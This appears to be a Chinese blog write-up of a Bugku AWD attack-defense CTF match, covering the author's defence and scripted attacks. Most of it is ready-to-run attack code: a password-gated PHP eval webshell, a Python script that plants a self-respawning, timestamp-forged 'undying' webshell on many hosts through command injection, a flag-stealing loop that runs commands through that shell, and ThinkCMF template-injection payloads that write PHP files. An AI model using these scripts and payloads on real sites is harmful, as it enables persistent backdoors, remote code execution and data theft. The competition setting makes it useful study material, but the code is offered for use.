Featured image of post 7.18bugkuawd

7.18bugkuawd

7.18bugkuawd

image-20250718215050893

这次我们第7,非常遗憾第一波防御我网速好像太慢了,导致源码没下来先被吃分,被植不死马了

防御阶段

还是备份

1
tar -czvf web.tar.gz var/www/html

然后压缩后还是有30多M,可能是scp工具的原因,下载超级慢,直接错过防守阶段了

备份出来用D盾扫描

image-20250718220222003

注释或者删掉,这个直接就是后门,由于第一轮没修上,也没来得及改后台密码,所以赶紧去想想怎么删掉这些马和进程了

攻击阶段

上来先被那个小洞上了不死马,然后我想着先把两个webshell注释了先,然后我这边给自己上了个马用于提权到www-data

1
<?php if(md5($_GET["pass"])=="d4e7fc2fe896ead7c10a69b25fec9015"){@eval($_POST[a]);} ?>

然后用蚁剑连上

1
ps -aux

发现起码5个不死马进程

先挨个kill

1
kill -9 PID

然后为了防止有些马继续上了,直接上个死循环脚本来kill apache2进程

1
2
3
4
5
<?php
while (1) {
system("kill `ps -ef | grep apache2 | grep -v grep | awk '{print $2}'`");
usleep(100);
}

虽然把大部分进程都kill了,但是还是像bash echo写入的这些进程kill不掉

攻击阶段全靠xixi发力,好多师傅的pwn没修,然后每轮都吃分

我这边修机子,修到最后只会被一队师傅打的状态,然后最后也是稳稳上分

这次赛前也是提前准备脚本,准备写不死马的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import requests
from datetime import datetime

# 目标URL列表
urls = [
    "http://192-168-1-32.pvp6223.bugku.cn",
    "http://192-168-1-37.pvp6223.bugku.cn",
    "http://192-168-1-38.pvp6223.bugku.cn",
    "http://192-168-1-62.pvp6223.bugku.cn",
    "http://192-168-1-79.pvp6223.bugku.cn",
    "http://192-168-1-84.pvp6223.bugku.cn",
    "http://192-168-1-91.pvp6223.bugku.cn",
    "http://192-168-1-112.pvp6223.bugku.cn",
    "http://192-168-1-117.pvp6223.bugku.cn",
    "http://192-168-1-141.pvp6223.bugku.cn",
    "http://192-168-1-190.pvp6223.bugku.cn",
    "http://192-168-1-208.pvp6223.bugku.cn",
    "http://192-168-1-210.pvp6223.bugku.cn",
    "http://192-168-1-212.pvp6223.bugku.cn",
]

# 写入不死马的路径
path = "/public/videor/1ndex.php?s=system"

# 不死马PHP代码
php_code = '''<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.config.php';
$code = '<?php if(md5($_GET["pass"])=="d4e7fc2fe896ead7c10a69b25fec9015"){@eval($_POST[a]);} ?>';
while (1){
    file_put_contents($file,$code);
    system('touch -m -d "2018-12-01 09:10:12" .config.php');
    usleep(5000);
}
?>'''

def write_webshell():
    print(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] 开始尝试写入不死马...")
    
    for base_url in urls:
        # 构造写入命令(使用base64编码避免特殊字符问题)
        encoded_php = php_code.encode('utf-8').hex()
        command = f"echo {encoded_php} | xxd -r -p > /var/www/html/shell.php"
        url = f"{base_url}{path}('{command}')"
        
        try:
            # 尝试执行命令写入不死马
            resp = requests.get(url, timeout=5)
            print(f"\n==== 尝试在 {base_url} 写入不死马 ====")
            print(f"状态码: {resp.status_code}")
            print(f"响应内容: {resp.text[:100]}...")
            
            # 验证是否写入成功
            check_url = f"{base_url}/shell.php"
            try:
                check_resp = requests.get(check_url, timeout=5)
                if check_resp.status_code == 200:
                    print(f"[+] 不死马写入成功: {check_url}")
                    print(f"访问密码: pass=ciallo123")
                else:
                    print(f"[-] 不死马可能写入失败: {check_url}")
            except Exception as check_e:
                print(f"[!] 验证失败: {check_e}")
                
            print("\n" + "="*50 + "\n")
        except Exception as e:
            print(f"[!] {url} 请求失败: {e}")

if __name__ == "__main__":
    print("不死马写入脚本开始运行...")
    write_webshell()
    print("脚本执行完成")

提交flag

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import requests
import time
from datetime import datetime

# 目标URL列表
urls = [
    "http://192-168-1-19.pvp6199.bugku.cn",
    "http://192-168-1-64.pvp6199.bugku.cn",
    "http://192-168-1-75.pvp6199.bugku.cn",
    "http://192-168-1-94.pvp6199.bugku.cn",
    "http://192-168-1-95.pvp6199.bugku.cn",
    "http://192-168-1-119.pvp6199.bugku.cn",
    "http://192-168-1-128.pvp6199.bugku.cn",
    "http://192-168-1-133.pvp6199.bugku.cn",
    "http://192-168-1-148.pvp6199.bugku.cn",
    "http://192-168-1-154.pvp6199.bugku.cn",
    "http://192-168-1-175.pvp6199.bugku.cn",
    "http://192-168-1-188.pvp6199.bugku.cn",
    "http://192-168-1-212.pvp6199.bugku.cn",
    "http://192-168-1-246.pvp6199.bugku.cn",
    "http://192-168-1-250.pvp6199.bugku.cn",
]

path = "/.config.php"

# GET参数
params = {
    "pass": "ciallo123"
}

# POST数据
data = {
    "a": 'system("cat /flag")'
}

# 提交flag的配置
submit_base_url = "https://ctf.bugku.com/pvp/submit.html"
token = "b34932d2ac71a030ae821a648f2e535b"

# 设置5分钟延迟(300秒)
DELAY = 300

def scan_and_submit_flags():
    print(f"\n[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] 开始新一轮扫描...")
    
    # 遍历所有URL
    for base_url in urls:
        url = base_url + path
        try:
            # 尝试执行命令获取flag
            resp = requests.post(url, params=params, data=data, timeout=5)
            if "flag" in resp.text.lower():
                flag = resp.text.strip()
                print(f"==== 发现flag在 {url} ====")
                print(flag)
                
                # 提取flag内容(假设格式为flag{...})
                if "flag{" in flag and "}" in flag:
                    flag_content = flag[flag.index("flag{"):flag.index("}")+1]
                    
                    # 构造提交URL
                    submit_url = f"{submit_base_url}?token={token}&flag={flag_content}"
                    
                    # 提交flag(不使用headers)
                    try:
                        submit_resp = requests.get(submit_url, timeout=5)
                        print("\n=== 提交结果 ===")
                        print(submit_resp.text)
                    except Exception as submit_e:
                        print(f"[!] 提交flag失败: {submit_e}")
                
                print("\n" + "="*50 + "\n")
        except Exception as e:
            print(f"[!] {url} 请求失败: {e}")
    
    print(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] 本轮扫描完成")

# 主循环
if __name__ == "__main__":
    print("脚本开始运行,将每5分钟扫描一次目标URL...")
    print("按Ctrl+C终止脚本")
    
    try:
        while True:
            scan_and_submit_flags()
            print(f"\n[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] 本轮扫描完成,等待{DELAY}秒后继续...")
            time.sleep(DELAY)
    except KeyboardInterrupt:
        print("\n脚本已终止")

赛后才发现这个cms是ThinkCMF框架,所以要先看index.php

1
2
//项目路径,不可更改
define('APP_PATH', SITE_PATH . 'application/');

跟进application路径发现了portal/controller下的文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
/*
 *      _______ _     _       _     _____ __  __ ______
 *     |__   __| |   (_)     | |   / ____|  \/  |  ____|
 *        | |  | |__  _ _ __ | | _| |    | \  / | |__
 *        | |  | '_ \| | '_ \| |/ / |    | |\/| |  __|
 *        | |  | | | | | | | |   <| |____| |  | | |
 *        |_|  |_| |_|_|_| |_|_|\_\\_____|_|  |_|_|
 */

namespace Portal\Controller;
use Common\Controller\HomebaseController; 
/**
 * 首页
 */
class IndexController extends HomebaseController {
	
    //首页
	public function index() {
    	$this->display(":index");
    }

}

网上搜漏洞还是挺多能打通的

ThinkCMF框架任意内容包含漏洞分析复现(写入shell+文件包哈) - -Zad- - 博客园

1
?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>
1
index.php?a=display&templateFile=README.md

所以下次可以尝试收集一些框架的漏洞信息来打

Licensed under 9u_l3
使用 Hugo 构建
主题 StackJimmy 设计